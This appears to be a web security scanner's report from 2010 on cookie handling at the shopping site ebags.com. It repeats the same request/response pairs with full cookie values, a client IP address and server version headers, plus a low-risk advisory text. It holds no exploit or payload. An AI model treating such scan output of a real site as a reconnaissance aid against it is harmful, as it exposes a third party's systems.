GET /department/messenger-bags HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:03 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:03 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69496
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/sale HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:40 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:40 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 86994
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/snow-and-skate HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:31 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:31 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 62315
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/sports-and-duffels HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:16 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:16 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70551
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/travel-accessories HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:19 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:19 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 72376
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/wallets-and-accessories HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:22 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:22 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69020
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /help/ HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:21 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822PRODUCTID%3D7C4E0%5C710F0A6ABDF; expires=Sun, 02-Jan-2011 14:04:21 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 47114
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /help/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:58 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:03:58 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 47067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /info/Compare/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 302 Found Connection: close Date: Sun, 26 Dec 2010 14:17:04 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Location: /index.cfm Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:17:04 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1540
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2findex.cfm">here</a>.</h2> </body></html> <!-- SiteCatalyst code version: H.10. Copyright 1997-2007 Omniture, Inc ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /info/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 302 Found Connection: close Date: Sun, 26 Dec 2010 14:18:00 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Location: /index.cfm Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:18:00 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1502
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2findex.cfm">here</a>.</h2> </body></html> <!-- SiteCatalyst code version: H.10. Copyright 1997-2007 Omniture, Inc ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /info/ratings/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 302 Found Connection: close Date: Sun, 26 Dec 2010 14:17:43 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Location: https://www.ebags.com/members/index.cfm?Fuseaction=my_ebags_login&destination=ratings&RequireCookie=yes&myebags=yes Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:17:43 GMT; path=/ Set-Cookie: CUSTOMERID=; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1641
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://www.ebags.com/members/index.cfm?Fuseaction=my_ebags_login&destination=ratings&RequireCookie=yes&m ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /members/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:02:33 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822PRODUCTID%3D; expires=Sun, 02-Jan-2011 14:02:33 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 45788
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /products/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 302 Found Connection: close Date: Sun, 26 Dec 2010 14:16:11 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Location: /index.cfm Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:16:11 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1662
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2findex.cfm">here</a>.</h2> </body></html> <!-- SiteCatalyst code version: H.10. Copyright 1997-2007 Omniture, Inc ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /products/view/ZoomColorsViews.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /rewards/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
